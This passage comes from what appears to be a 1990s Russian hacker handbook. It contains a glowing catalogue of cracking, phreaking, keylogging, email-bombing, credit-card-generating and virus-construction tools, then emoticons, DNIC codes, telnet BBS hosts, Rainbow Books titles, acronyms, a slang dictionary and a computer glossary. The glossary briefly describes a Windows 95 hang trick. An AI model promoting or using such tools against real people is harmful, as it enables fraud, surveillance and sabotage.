Полностью автоматическая программа, которая удаляет регистрационный

мусор из многих shareware-программ.

**NONAG2**

Изящная программка, которая удаляет регистрационный мусор из многих

shareware-программ.

**Word Password Cracker**

Взлом паролей в документах Microsoft Word for Windows.

**Windows Screen Saver Cracker**

Взломщик запароллированных экранных заставок.

**ZipCrack 1.0**

Простой взломщик паролей в ZIP-файлах.

**HEdit32 1.2**

Редактор двоичных файлов. Неограниченный размер файла, поддержка

механизма drag-and-drop, поиск текста, выборка шрифтов, поддержка clipboard.

**Global Security 32-Bit 1.0**

Программа, обеспечивающая безопасность передаваемых данных. Более

крутая, чем знаменитая PGP.

**Hide and Seek 4.1**

Скрывает данные в файлах GIF.

**ParadoX 1.01**

Программа для шифрования файлов данных.

**Puffer 2.0**

Программа для шифрования файлов данных и сообщений электронной почты.

**KOH**

Disk Encryption System. Защита жесткого диска и флоппов посредством

технологии шифрования IDEA на основе 156-битового ключа.

**Steganos 1.4**

Очень удобная программа, позволяющая спрятать файл в другой файл.

Поддержка форматов BMP, VOC, WAV и ASCII, включая длинные имена файлов

системы Windows 95.

**S-Tools 4.0**

Маскировка данных в звуковых или графических файлах.

**Private Idaho**

Шифровка любых сообщений электронной почты.

**Speak Freely**

Софт, позволяющий зашифровать компьютер, используя человеческий голос.

**Apex 1.00**

Основная программа, позволяющая создавать фиктивный доступ через

простой набор телефонного номера.

**BlueBEEP!**

Лучшая тоновая звонилка.

**CyberPHREAK 1.0**

Звонилка, работающая в фоновом режиме. Поддержка наиболее популярных

звуковых карт.

**Fear's Phreaker Tools 2.3**

Фрикерская утилита для тонов Red Box Tones. Работает в Windows.

**Phone Tag 1.3**

Тоновая звонилка для Windows.

**PhreakMaster 1.0**

Удобная звонилка.

**ToneLoc 1.10**

Удобный DOS-терминал, позволяющий весьма эффективно атаковать

компьютерные сети.

**ToneLoc Utilities**

Утилиты к ToneLoc.

Простейший терминал, позволяющий весьма эффективно атаковать

компьютерные сети.

**Z-Hacker 3.21**

Великолепная фрикерская программа.

**Bomb 2.0**

Софт, позволяющий весьма эффективно посылать в сеть фальшивые сообщения

электронной почты.

**CreditMaster 4.0**

Генерация фальшивого эккаунта для кредитной карточки.

**FakeCD 1.0**

Иммитация устройства CD ROM посредством создания отдельной директории

на жестком диске.

**IP-Scan 1.02**

Исходник на C для сканирования адресов IP.

**KeyLogger 95**

Программа, позволяющая записывать в отдельный файл любые нажатия

клавиатуры.

**KeyTrap 3.0**

Очень эффективная программа, позволяющая записывать в отдельный файл

любые нажатия клавиатуры.

**No Where Utilities 2.0**

Тринадцать хакерских утилит.

**News You Can Use 6.0**

Одно из лучших электронных изданий хакерских советов и рекомендаций.

**The Pirates Friend 2.6**

Коллекция серийных номеров.

**UNP 4.10**

Разархивирование файлов, сжатых программами DIET, EXEPACK, LZEXE,

PKLITE и TASM.EXE

**TLINK.EXE**

Мгновенное производство вирусов.

**Kit 1.0**

Инфицирование EXE-файлов, производство троянских коней, шифрование

всего и вся, создание фиктивных ошибок обработки, инфекция файла COMMAND.COM

и многое другое.

**Небольшой список сетевых "улыбок"**

**:-)**

Самая обычная хохма.

**;-)**

Хохма с подмигиванием.

**:-(**

Хмурая физиономия.

**:-I**

Никакое выражение лица.

**:-/**

Скептическое выражение.

**:-X**

Молчит.

**:-Q**

Курит.

**:-Р**

Высовывает яык.

**:-{**

Уcатый собеседник.

**B-)**

Ношу очки.

**%-)**

Долго смотрю на этот экpан.

**Список российских DNIC**

**2500** ROSPAC

**2501** POSPRINT

**2502** IASNET

**2503** MMTEL

**2504** INFOTEL

**2506** ROSNET

**2508** ТРАНСИНФОРМ

**2510** SOVAMNET

**2511** ЭДИТРАНС

**2512** ТЭКОС

**2513** PTT-TELEPORT

**Список BBS, работающих чеpез telnet**

**ADDICTED chatline**

telnet sun1.gwent.ac.uk 6666

**AIDS Database**

telnet debra.dgbt.doc.ca 3000

**Air Pollution BBS**

telnet ttnbbs.rtpnc.epa.gov

**Amateur Callsign Server**

telnet cs.buffalo.edu 2000

**Archeological Database**

telnet cast.uark.edu (login:nadb)

**Archie ftp directory search**

telnet archie.sura.net (login: qarchie)

**Aviation Weather**

telnet duats.gtefsd.com

**Bible Search**

telnet quake.think.com (login: WAIS)

**Book Stacks Unlimited**

telnet books.com

**Bridge**

telnet 140.117.11.33 (login okbridge)

**CapAccess Network**

telnet cap.gwu.edu

**CASS - Space Studies**

telnet cass.jsc.nasa.gov (login: cass pw: online)

**CD Connection**

telnet cdconnection.com

**Chess**

telnet 128.111.246.2 5000

**CompuServe**

telnet compuserve.com

**Connection music store**

telnet zen.holonet.net (login: cdc)

**Dictionary**

telnet 129.79.254.191 2627

**Diku-MUD**

telnet skypoint.com 4000

**Employment database**

telnet career.com

**Epilepsy Database**

telnet debra.dgbt.doc.ca 3000

**Fedworld BBS**

telnet fedworld.gov

**FIFE Satellite dB**

telnet pldsg3.gsfc.nasa.gov (login: FIFEUSER)

**Free-Net Buffalo**

telnet freenet.buffalo.edu

**Free-Net Cleveland**

telnet freenet-in-a.cwru.edu

**Free-Net Dayton**

telnet 130.108.128.74

**Games**

telnet castor.tat.physik.uni-tuebingen.de

**Geography Server**

telnet martini.eecs.umich.edu 3000

**Gopher Public server**

telnet consultant.micro.umn.edu

**GSA contract info**

telnet netmark.com (login: netmark)

**Land Use maps**

telnet 152.61.192.54

**Law Library**

telnet 137.113.10.35

**MLB Schedules**

telnet culine.colorado.edu 862

**NBA Schedules**

telnet culine.colorado.edu 859

**NBS Time Service**

telnet nessie.cc.wwu.edu (login: LIBS)

**Netline Flagship BBS**

telnet fcsbbs.netline.co.za

**NTIA Information**

telnet ntiabbs.ntia.doc.gov

**Periodic Table**

telnet camms2.caos.kun.nl

**Periodicals Index/reprints**

telnet database.carl.org

**Poetry 17-18C dB**

telnet bcmsv.leeds.ac.uk (login: bcmsv)

**Quotes**

telnet astro.temple.edu 12345

**Shakespeare Database**

telnet library.dartmouth.edu

**Smiley database**

telnet twinbrook.cis.uab.edu 3399

**Spanish-English Dictionary**

telnet gopher.sc.ehu.es 4444

**Stock Market Reports**

telnet 192.160.13.1

**Stock Market Reports**

telnet a2i.rahul.net

**Stock Quotes ($)**

telnet quote.com

**Subway Maps**

telnet metro.jussieu.fr 10000

**SVPAL**

telnet svpal.org

**Tallahasee Free-Net**

telnet freenet.fsu.edu

**Telephone Directories**

telnet dfw.net

**TinyTIM MUD**

telnet yay.tim.org 5440

**TrekMOO MUD**

telnet 192.204.120.2 2499

**TrekMOO MUD**

telnet trekmoo.microserve.com 2499

**TrekMOO MUD+**

telnet 192.204.120.2 2499

**TV & Radio Transcripts**

telnet pac.carl.org

**USA Today**

telnet 129.22.8.51

**USGS Land Info System**

telnet glis.cr.usgs.gov

**WAIS**

telnet quake.think.com (login: wais)

**Список всех книг Rainbow**

**Orange 1**

D.O.D. Trusted Computer Systems.

**Green**

D.O.D. Password Management.

**Yellow**

Computer Security Requirements.

**Yellow 2**

Computer Security Requirements.

**Tan**

Understanding Audit In Trusted Systems.

**Bright Blue**

Trusted Product Evaluation.

**Neon Orange**

Understanding Discretionary Access.

**Teal Green**

Glossary Of Computer Terms.

**Orange 2**

Understanding Configurations.

**Red**

Interpretation Of Evaluation.

**Burgundy**

Understanding Design Documentation.

**Dark Lavender**

Understanding Trusted Distrobution.

**Venice Blue**

Computer Security Sub-Systems.

**Aqua**

Understanding Security Modeling.

**Dark Red**

Interpretations Of Environments.

**Pink**

Rating Maintenence Phase.

**Purple**

Formal Verification Systems.

**Brown**

Understanding Trusted Facilities.

**Yellow-Green**

Writing Trusted Facility Manuals.

**Light Blue**

Understanding Identification And Authentication

In Trusted Systems.

**Blue**

Product Evaluation Questionaire.

**Gray**

Selecting Access Control List.

**Lavander**

Data Base Management Interpretation.

**Yellow 3**

Understanding Trusted Recovery.

**Bright Orange**

Understanding Security Testing.

**Purple 1**

Guide To System Procurement.

**Purple 2**

Guide To System Procurement.

**Purple 3**

Guide To System Procurement.

**Purple 4**

Guide To System Procurement.

**Green**

Understanding Data Remanence

**Hot Peach**

Writing Security Features.

**Turquiose**

Understanding Information Security.

**Violet**

Controlled Access Protection.

**Light Pink**

Understanding Covert Channels.

**Хакерские акронимы**

**ACL**

Access Control List

**AN**

Associated Number

**ARSB**

Automated Repair Service Bureau

**ATH**

Abbreviated Trouble History

**BOC**

Bell Operating Company

**BOR**

Basic Output Report

**BOSS**

Business Office Servicing System

**CA**

Cable

**COE**

Central Office Equipment

**CMC**

Construction Maintenance Center

**CNID**

Calling Number IDentification

**CO**

Central Office

**DDD**

Direct Distance Dialing

**ECC**

Enter Cable Change

**LD**

Long Distance

**LMOS**

Loop Maintenance Operations System

**MLT**

Mechanized Loop Testing

**NPA**

Numbering Plan Area

**POTS**

Plain Old Telephone Service

**RBOC**

Regional Bell Operating Company

**RSB**

Repair Service Bureau

**SS**

Special Service

**TAS**

Telephone Answering Service

**TH**

Trouble History

**TREAT**

Trouble Report Evaluation and Analysis Tool

**LOD**

Legion of Doom

**HFC**

Hell Fire Club

**TNO**

The New Order

**ACiD**

Ansi Creators in Demand

**Cci**

Cybercrime International

**FLT**

Fairlight

**iCE**

Insane Creators Enterprise

**iNC**

International Network of Crackers

**NTA**

The Nocturnal Trading Alliance

**PDX**

Paradox

**PE**

Public Enemy

**PSY**

Psychose

**QTX**

Quartex

**RZR**

Razor (1911)

**S!P**

Supr!se Productions

**TDT**

The Dream Team

**THG**

The Humble Guys

**THP**

The Hill People

**TRSI**

Tristar Red Sector Inc.

**UUDW**

Union of United Death Workers

**Словарь юного хакера**

**Бит**

Минимальная единица измерения информации (0 или 1).

**Полубайт**

4 бита.

**Байт**

Тоже, что и бит, только в 8 раз больше.

**Кило**

Тоже, что и байт, только в 1024 раза больше.

**Мег**

Тоже, что и кило, только в 1024 раза больше.

**Гиг**

Тоже, что и мег, только в 1024 раза больше.

**Хакер**

Человек, не мыслящий себя без компьютера.

**Мозги**

Оперативная память компьютера. Измеряется в кило/мегабайтах.

**Линейка**

Набор микросхем в количестве восьми штук.

**Каша**

Cach-память.

**Железо**

Hardware.

**Бебеска**

Bulleten Board System.

**Винт**

Винчестер. Жесткий диск. Носитель информации.

**Матрас**

Винчестер фирмы MAXTOR.

**Трехдюймовка и пятидюймовка**

Гибкий магнитный диск размером в 3 и 5 дюймов соответственно.

**Флоппер**

Устройство для считывания информации с гибких дисков.

**Комп**

Персональный компьютер.

**Клава**

Клавиатура. Клацнуть педалью, топтать кнопку, нажать на клавишу.

**Прогсы**

Компьютерные программы.

**Закинуть на диск**

Записать информацию на магнитный носитель.

**Коробок**

Корпус компьютера.

**Гама**

Игра.

**Крэкнуть, ломануть, хакнуть, взорвать гаму**

Вскрыть игру и изменить в ней данные по своему усмотрению.

**Крякалка**

Программа для вскрытия программ.

**Бластер, Либа, Гусь**

Типы музыкальных адаптеров.

**Бима**

Народное название компьютера фирмы IBM.

**Мак**

Народное название компьютера фирмы Apple Macintosh.

**Двойка, тройка, четверка**

Первые цифры моделей персональных компьютеров фирмы IBM.

**Хата**

Компьютер фирмы IBM класса XT.

**Пентюх**

Компьютер IBM Pentium.

**Вирусяка**

Компьютерный вирус.

**Чайник**

Человек, не смыслящий почти ничего в компьютерных технологиях.

**Бипер, спикер, бжичек**

Встроеный динамик.

**Штампик, дрюкер, печаталка**

Принтер.

**Отштамповать текст**

Отпечатать текст на принтере.

**Микрохи**

Микросхемы.

**Битые микрохи**

Негодные сожженые микросхемы.

**Видеокарта, вика**

Плата видеоадаптера.

**Плитка**

Карта.

**Дипик**

DIP-переключатель (на задних панелях принтеров, видеомагнитофонов,

видеокарт и т.д.).

**Набить, настукать текст**

Набрать текстовый файл

**Цапик**

Цифровой аналоговый преобразователь.

**Сброс, пимпа**

Кнопка Reset на компьютере. Сбросить компьютер, страйкнуть пимпу, нажав

Reset, очистить оперативную память.

**Копик**

Сопроцессор (музыкальный, математический).

**Процик**

Просто процессор.

**Компьютер завис**

Состояние машины, при котором работу продолжать невозможно.

**Насильник**

Программист-системщик, работающий на языке С.

**Макрушник**

Программист-системщик, работающий на макроассемблере.

**СисОп**

Системный оператор BBS.

**Сосиска**

Плохой СисОп.

**Сисопка**

Пьянка системных операторов.

**Сосисник**

Пьянка плохих СисОпов.

**Т-мыло**

Почтовая программа T-MAIL.

**Фродо**

Почтовая программа Front Door.

**Юзер**

Пользователь.

**Голый дед**

Редактор почты Gold Edit.

**Шнурок**

Локальная сеть.

**Сидишник, сидюк**

Накопитель на лазерных дисках CD ROM.

**Струйник**

Струйный принтер.

**Паровоз**

Программа сжатия данных в реальном времени.

**Доска**

Дисковая операционная система.

**Форточки**

Операционная система Microsoft Windows.

**Дурдос**

операционная система DR-DOS.

**ТрубоПаскакаль**

Язык Turbo Pascal.

**Лиса**

База данных Fox Pro.

**Полотер**

Плоттер (графопостроитель).

**Залить/слить**

Upload/Download. Записать/списать файлы.

**Примат**

Прикладной математик.

**Совок**

Музыкальная псевдоприставка Covox.

**Баг, глюк**

Ошибка (сбой) в программе.

**Лапа**

Переносной компьютер.

**Жук, шуршун**

Вентилятор в блоке питания.

**Кулер, Карлсон**

Вентилятор 486 процессора.

**МуМу**

Мультимедиа.

**Дрова**

Машина-пародия на нормальный компьютер. (Поиск, ЕС ЭВМ и т.д.).

**Сбой**

Ненормальная работа компьютера, чаще всего встречается на

машинах-дровах.

**Гога**

Русский вариант слова error.

**Файло**

Файл.

**Мэйло**

Письмо.

**Мышатина**

Манипулятор типа Mouse.

**Копирнуть**

Cкопировать что-либо.

**Коннектиться, жужжать**

Cвязываться модемами.

**Клоки**

Cистемные часы.

**Конец, кобель, шлейф**

Кабель сопряжения.

**Тормозистор**

Транзистор.

**Материнка, мамка**

Motherboard (основная плата).

**Ширинка**

Плата расширения памяти.

**Симы**

Микросхемы памяти SIMM.

**Сипы**

Микросхемы пямяти SIPP.

**Батон**

Любая кнопка (button).

**Волшебный батон**

Кнопка magic button компьютера ZX Spectrum.

**Мультяха**

Плата, отвечающая за обработку стандартных портов ввода/вывода.

**Хелпарь**

Помощник.

**Полетел**

Образное выражение, характеризующее поломку чего-либо.

**Гифы**

Графические файлы с расширением .GIF.

**Флики**

Файлы-клипы с расширением .FLI.

**Морды**

Музыкальные файлы с расширением .MOD.

**Бегучка**

Бегущая строчка.

**Де-Зе**

Режим выкачки файлов, при котором используется ZMODEM

(DownLoad/ZModem).

**Нетварь**

Операционная система Netware.

**Горелые дрова**

Графический редактор CorelDraw.

**Носки**

Таблица кодировки ASCII.

**Чекист**

Тестовая программа Checkit.

**Пилить диски**

Попытка чтения информации с плохих дисков.

**Пень-инфо**

Дерево каталогов Norton Commander Treeinfo.

**Вешалка**

Таблица векторов прерываний.

**Энурез**

Программа восстановления случайно стертых файлов.

**Толковый словарь**

**Access level**

Уровень доступа.

**Access Privileges**

Доступ как к самим папкам, так и к возможности их модифицировать.

**Access**

Доступ к сети.

**Active Channel**

Узел Web, автоматически поставляемый на рабочий стол пользователя.

**ActiveX**

Термин программного интерфейса технологии Microsoft, позволяющей

разработчикам создавать интерактивное содержимое для WWW, а также для

компонентов программного обеспечения, написанных на различных языках.

Основные элементы технологии ActiveX -- COM и DCOM.

**Address**

Уникальный код с информацией, находящейся в файле конкретной сети.

**AGP**

Accelerated Graphics Port.

**Alias**

Псевдоним (имя, метка). Весьма известная вещь в компьютерах Macintosh.

В более широком смысле, -- метка, использующаяся для указания выполнить

какое-либо действие.

**Anchor**

То, что собственно, и образовывает гипертекстовую ссылку.

**Anonymous**

Один из методов получения доступа к той или иной информации. Вы можете

только копировать файлы, передавать свои -- нет.

**ANSI**

American National Standards Institute.

**APM**

Advanced Power Management. Усовершенствованное управление питанием

компьютера. Интерфейс программного обеспечения, позволяющий системе вести

управление электропитанием оборудования персонального компьютера.

**Arcade Game**

Компьютерная игра, как правило, с живым и быстрым сценарием.

**Archie**

Система, предназначенная для поиска содержимого FTP серверов.

**ARJ**

Популярная в MS-DOS программа архивирования файлов.

**Article**

Статья, посланная в Usenet.

**AT-команды**

Команды настройки модема.

**Выделенный канал**

Постоянное соединение, всегда позволяющее передать поток информации от

одного компьютера к другому.

**Authorization**

Право, которое дается пользователю на тот или иной ресурс компьютерной

системы.

**AUTOEXEC.BAT**

Автоматически выполняемый файл при загрузке операционной системы, в

котором содержится набор специальных команд, позволяющих сконфигурировать

систему под те или иные устройства персонального компьютера.

**Backbone**

Главная высокоскоростная магистраль Internet. Опорная сеть Internet!

**Background**

Фон. Задний план окна графической операционной системы.

**Backup**

Резервная копия. Запасной архив некоторой программы.

**Bad Sector**

Испорченный кластер. Сектор на жестком или гибком диске, который

непригоден для записи и хранения информации.

**BAT**

Расширение исполняемых файлов.

**Baud rate**

Скорость обмена данными между компьютером и модемом.

**BBS**

Bulletin Board System. Тип компьютерного сервиса. Юзеры могут читать и

публиковать различные сообщения. Передавать или скачивать файлы.

**Benchmark**

Общее тестирование персонального компьютера посредством специальной

программы.

**Big mail**

Электронная почта огромных размеров. Передается некоторыми сволочами в

качестве мести.

**BIOS**

Базовая система ввода-вывода. Пакет программ, "вшитый" в персональный

компьютер. Позволяет настроить работу различных устройств системы.

**Bit**

Самое маленькое количество информации, передаваемое по сети.

**Board**

Электронная монтажная плата, используемая в персональном компьютере.

Если на этой плате расположен процессор, то она называется материнской

платой.

**Bookmark**

Закладка. Файл Gopher или WWW. Информация в этом файле размещена так,

что получить доступ к желаемой странице можно без дополнительного серфинга.

**Boot Block**

Сектор жесткого или гибкого диска, содержащий команды загрузки

операционной системы.

**Boot**

Запуск персонального компьютера.

**BPS**

Бит в секунду. Величина измерения скорости передачи данных через модем.

**Browser**

Нечто, похожее на графический интерфейс. Позволяет блуждать по той или

иной сети, или искать себе на определенное место приключений.

**Bus**

Шина. Различные соединения, позволяющие обмениваться информацией

различным элементам персонального компьютера.

**Busy**

Модем сообщает о том, что линия связи занята.

**Cabinet**

Файл, который содержит один или несколько сжатых файлов.

**Capacity**

Максимальная скорость передачи данных.

**Card**

Адаптер или печатная плата.

**Carrier**

Связь. Несущая. Определенный сигнал, несущий данные. Почти то же самое,

что и connect.

**CATV**

Кабельное телевидение.

**CGI**

Common Gateway Interface. Нечто, напоминающее интерфейс, с помощью

которого пишется софт для серверов Web.

**Channel**

Канал связи между узлами сети.

**Chat**

Одна из форм межсетевого психоза. Вы можете, сидя за экраном компьютера

вести интерактивный разговор со множеством аналогичных юзеров, сидящих, как

правило, по ту сторону океана. И куда только смотрит ФСБ? Непонятно.

**Check Box**

Флажок в виде крестика. Один из многочисленных элементов графической

операционной системы. Позволяет включать или отключать то или иное действие.

**Checkpoint**

Место, в котором то или иное приложение прекращает работать и начинает

определять, где и в какой среде оно находится. Одноименная фирма,

производящая весьма популярную и бестолковую программу для защиты Internet и

Intranet.

**Checksum**

Некоторое значение, которое характеризует целостность тестируемой

информации.

**Cоnferencing**

Cистема конференций.

**CIX**

Commercial Internet Exchange. Торговая ассоциация провайдеров Internet.

**ClariNet**

Коммерческая сеть, работающая в формате конференций Usenet.

**Client**

Софт конкретного юзера.

**CLI в окне Dos**

Дыpа в Windows 95. VMM не виртуализирует IF в VDM. Просто осуществляем

запрет на прерывания и переходим в бесконечный цикл. Планировщик

блокируется. Система зависает.

**Command line**

Командная строка.

**Compress**

Архиватор. То, что делает из большого файла маленький, а из кучи файлов

-- один файл. Может быть также командой UNIX, через которую происходит

процесс архивирования.

**Compression/Decompression**

Кодирование/декодирование сигналов.

**CompuServe**

Коммерческая компьютерная сеть США.

**Cookies**

**Т**ехнология, позволяющая сохранять сугубо индивидуальную информацию о

пользователе сети.

**Cracker**

**Х**акер, который ломает все и вся.

**Cross-posting**

Отправление статьи одновременно в несколько групп конференций Usenet.

**Cybermall**

Электронный магазин.

**Cyberpunk**

**С**амоутвержденный хакер.

**Cybersex**

Cекс, разврат и другие извращения, доступные в Internet.

**Data compression**

Сжатие данных.

**Data link**

Канал связи.

**Datagram**

Датаграмма. Сообщение, посылаемое через компьютерную систему с

коммуникацией пакетов.

**DDE**

Dynamic Data Exchange. Межпроцессорный метод связи, позволяющий

одновременно запускать две или несколько программ.

**DejaNews**

Ищем новости в конференциях Usenet по ключевому слову, автору статьи

или по адресу. Доступ через http://www.dejanews.com.

**Dialtone**

Длинный гудок. Телефонная линия готова.

**Dial-up user**

Пользователь коммутируемой линии. Получает доступ к сети через модем.

**Dial-up**

Метод, кодирующий данные, а затем отправляющий их по сети. Именно

посредством этого метода и осуществляется модемная связь по обыкновенной

телефонной линии.

**DirectX**

Программный интерфейс, благодаря которому ваши мультимедийные

устройства могут работать на более высоком и эффективном уровне.

**PPTP**

Point-to-Point Tunneling Protocol. Благодаря протоколу PPTP

(Point-to-Point Tunneling Protocol) вы можете подключаться к Internet,

совершенно не заботясь о плате за междугороднюю связь.

**DNS**

Domain Name System. Доменная система адресации. Нечто, похожее на базу

данных и конвертирующее буквенное сетевое имя в набор цифр. Этот набор цифр

является числовым адресом Internet. Понятен только компьютерам и некоторым

фанатам с шизофренической памятью.

**Domain Name Server**

Имя сервера домена. Каждое подразделение Internet имеет два домена.

Основной DNS обычно располагается на сетевой машине.

DNS-сервера используют в своих обращениях к удаленным узлам 32-битные

адреса IP, мнемонически заключенные в четырехразрядную буквенную комбинацию.

Любой хост может получить соответствующий DNS у ближайшего информационного

сервера DNS по известной системе Domain Name Server через сетевой протокол

DNS. Просто хост посылает запрос на известный IP-адрес DNS-сервера свой

IP-адрес и имя сервера. Сервер DNS штудирует собственную базу данных,

находит IP-адрес и отправляет на хост соответствующий ответ DNS. Схема

весьма примитивная. Если же сервер DNS не находит искомую буквенную

комбинацию, то он отсылает запрос на так называемый корневой сервер,

который, в свою очередь, сверяет информацию с файлом настроек root.cache.

Так происходит до тех пор, пока имя хоста не будет найдено в Internet.

**Domain**

Подразделение Internet. У каждого домена есть своя метка. Например

метки .com, .net, .mil, .org означают, что это соответственно домен

коммерческой, сетевой, военной и общественной организации.

**Download**

Закачивание софта с другого компьютера на собственный винчестер.

**E-mail**

Электронная почта. Вы пишите (набиваете на клавиатуре) письмо, адрес,

жмете кнопку и почти моментально ваше послание читает адресат. Вещь

классная. Но есть и свои недостатки. Ваше послание может прочитать

практически любой юзер, хоть немного знающий нетрадиционный софт. Про

хакеров вообще можно промолчать.

**Ethernet**

Один из видов сети с весьма классной пропускной способностью. Довольно

часто компьютеры, использующие протоколы TCP/IP подсоединяются к Internet

через Ethernet. Да какая там поэзия! Проза, сухая проза.

**F2F**

Face to face. Лицом к лицу. Незабываемая встреча двух юзеров Internet в

реальном мире.

**Firewall**

Межсетевой защитный экран. Весьма туманная вещь для некоторых простых

юзеров и совершенно непонятная многим системным администраторам. Вещь,

которую хорошо знают хакеры. Довольно бестолковая штучка, которая, по идее,

должна защищать систему от проникновения хакеров. Практически любой

современный межсетевой защитный экран строится на протоколах прикладного

уровня (proxy) и поддерживает TELNET, Rlogin, FTP, SMTP, POP3, HTTP, Gopher,

X11, LP, Rsh, Finger, NNTP, Whois и RealAudio.

**Flame War**

Нанесенное в данный момент электронное оскорбление. А ведь недопустимо,

господа, нарушать порядок в интерактивном сеансе работы в сети!

**Flame**

Произносится как флэйм. Угроза или оскорбление в электронном виде, т.

е. по почте или в конференциях Usenet. А Вас оскорбляли в электронной форме?

**Follow up**

Cообщение в Usenet, как реакция на ранее помещенное сообщение.

**FSF**

Free Software Foundation. Фонд бесплатного программного обеспечения.

**FSP**

Система передачи файлов, подобная FTP.

**FTP**

File Transfer Protocol. Метод пересылки файлов на ваш компьютер. В

Internet имеются тысячи мест, поддерживающих этот метод. Иногда единственная

возможность заиметь файл -- это воспользоваться протоколом FTP. Помните об

этом протоколе.

**FTP-client**

Софт позволяющий вам приконнектиться к серверу FTP.

**FTP-команды**

Команды с синтаксисом FTP.

**FTP-mail**

Крутейшая штучка. Вы можете получать файлы с серверов FTP по

электронной почте.

**FTP-server**

Компьютер битком набитый всякой всячиной и поддерживающий протокол FTP.

**Gateway**

Межсетевой шлюз. Нечто соединяющее несовместимые сети.

**Get a life**

Чудак, спустись на землю! Восклицание нормального человека, увидевшего

фаната Internet.

**GIF**

Graphic Interchange Format. Один из стандартных графических файлов WWW.

**Gophermail**

Доступ к Gopher через электронную почту.

**GUI**

Graphical User Interface. Графический пользовательский интерфейс.

Например, система Macintosh или Windows.

**Guru**

Фанат, профессионал. Отличается от хакера безумными поступками. Такие

люди могут легко взорвать планету, если доберутся до заветной красной

кнопки.

**Hacker**

Очень умный человек. Тот, кто взламывает сети. Этот умник может

проникнуть в любую сеть. Делается это разными способами. Например, через

порт терминала или порт электронной почты. Выбрав жертву, хакер прежде всего

определяет, имеются ли на сервере плохие пароли, плохо настроенный софт или

испорченная операционка. Затем выбирает метод собственной безопасности.

Хакер -- это человек, которому интереснее создать свое собственное

программное обеспечение, чем пользоваться уже существующим. Хотя средства

массовой информации пытаются превратить хакеров в преступные умы, обычно они

являются людьми, движимыми любопытством и собственными интересами к созданию

программ, заставляющих компьютер работать лучше.

**Home**

Абсолютно непонятная вещь. Наверное, придумана сетевыми

администраторами для запутывания новичков. В Internet тонны страниц. Поэтому

делать какую-то из них своей домашней довольно бессмысленно. Да простят меня

пользователи America Online!

**Host**

Главный компьютер. Компьютер, непосредственно подключенный к Internet.

**Hotlist**

Горячий список.

**HTML**

HyperText Markup Language. Язык, лежащий в основе формирования

документов World Wide Web.

**HTTP**

HyperText Transport Protocol. Система, передающая документы HTML по

World Wide Web.

**Hub**

Концентратор.

**Hyper Terminal**

Программа связи, с помощью которой вы сможете организовать соединение

через модем между двумя компьютерами по телефонной линии.

**Hyperlink**

Связь между вами и господином на том берегу океана.

**Hypermedia**

Гиперсреда. Через определенные ссылки связывается текст, графика, звук,

видео и картинки.

**Hypermedia**

Нечто, которое хорошо знают хакеры. Грубо говоря то, что дискретно

может отобразить фотографию на выбранном вами web-обозревателе.

**Hypertext**

Нечто представляющее данные так, что можно легко организовать

межстраничные связи различных документов Internet.

**Inbox**

Электронный почтовый ящик.

**Internet**

Мировая с англоязычным уклоном свободная конфедерация компьютерных

сетей, объединяющая более 12 тысяч локальных сетей, более одного миллиона

компьютеров и около 30 миллионов юзеров. Негласный победитель FIDO.

**IP Address**

Тридцатидвухбитовый (ну и словечко) адрес протокола Internet,

включающий в себя номер узла и сети.

**IP**

Самый важный из всех протоколов, на котором основана Internet. Через

этот протокол осуществляется прямое подключение к Internet.

**IRC**

Internet Relay Chat. Одна из форм WWW-психоза.

IRC чем-то напоминает работу в конференциях Usenet. Но если там вы

общаетесь не в реальном времени, то здесь может вестись живой разговор.

Разве что, -- вас никто не слышит. Вас могут прочитать. Вы набиваете текст

на клавиатуре. Ваша информация попадает на общий дисплей. Различные группы

видят ваш бред. Если интересно -- отвечают.

**IRQ**

Прерывание.

**ISDN**

Integrated Switched Digital Network. Высокоскоростная цифровая

телефонная система. Тоже не для нас.

**ISP**

Internet Service Provider. То же, что и провайдер.

**Killfile**

Файл, фильтрующий статьи конференций Usenet. Своеобразная электронная

цензура.

**Knowbot**

Служба, позволяющая искать книги в электронных библиотеках.

**Lamer**

Юзер-идиот. Термин, придуманный американскими системными

администраторами.

**LAN**

Local Area Network. Локальная вычислительная сеть.

**ListServ**

Бесплатный софт, позволяющий вам через списки рассылки автоматически

доставлять и контролировать электронную почту.

**Login**

Регистрационное имя пользователя.

**Lurk**

Пассивные наблюдатели. Например, те, кто только читают новости

конференций Usenet или сообщения, проходящие по каналам IRC.

**Mail server**

Почтовый сервер. Компьютер, обрабатывающий электронную почту.

**Mail**

Обмен частными текстовыми сообщениями в Internet или в другой

компьютерной сети.

**Mailing list**

Cписок рассылки электронных почтовых сообщений, классифицированных по

определенным темам. Своеобразная подписка.

**Marquee**

**Б**егущая строка в документе HTML.

**Media**

Почти то же, что Multimedia.

**MIME**

Multipurpose Internet Mail Extensions. Протокол передачи звука, графики

и других двоичных данных. Применяется при передаче почтовых сообщений. И как

только этот MIME не интерпретируют!

**MNP**

Microsom Networking Protocol. Протокол коррекции ошибок.

**Modem**

MODulator/DEModulator. Устройство, передающее цифровую информацию по

обыкновенной телефонной линии.

**Moose**

Одна из групп конференций Usenet. Лидер группы -- некто Уильям Кассиди.

**Mosaic**

Древнейший графический пользовательский интерфейс, позволяющий

просматривать World Wide Web. Имеются версии для X-Window, Windows и

Macintosh.

**MPEG**

Moving Pictures Expert Group. Протокол, через который упаковываются

видеозаписи.

**Multimedia**

Весьма туманный термин, не переводящийся на нормальный язык.

**Net server**

Сетевой сервер.

**Net**

Сеть.

**Net.god**

Бог Сети сетей.

**Net.personality**

Крутой участник конференций Usenet.

**Netiquette**

Cетевой этикет, относящийся к участникам конференций Usenet.

**Newcomer**

Новоиспеченный юзер Internet.

**Newsgroup**

Область сообщений в конференциях Usenet.

**NNTP**

Сетевой протокол, с помощью которого весь мир пользуется прелестями от

конференций Usenet.

**No Dialtone**

Сообщение модема. В линии отсутствует сигнал.

**Node**

Узел сети.

**NTFS**

Файловая система, специально разработанная для операционной системы

Windwos NT. Поддерживает восстановление файловой системы и носители данных

весьма большого объема.

**OBS**

Online Bookstore. Электронная библиотека.

**Offline**

Автономный режим работы компьютера.

**Online**

Интерактивный режим работы сетевого компьютера.

**Password**

Пароль. Головная боль многих системных администраторов. Мозоль на

пальцах простых юзеров.

**PH**

Phonebook. Программа-клиент PH может быть использована для доступа к

базе данных QI, в которой находятся тонны телефонных справочников и масса

другой полезной информации.

**Phreake**

Хакерство на телефонных линиях. Генерация тонов определенной частоты,

позволяющая проводить махинации с оплатой разговоров и сканирование

телефонной сети на предмет обнаружения модемных входов.

**PKZIP**

Программа упаковки файлов.

**Pointer**

Указатель с синтаксисом URL.

**POP**

Post Office Protocol. Протокол электронной почты.

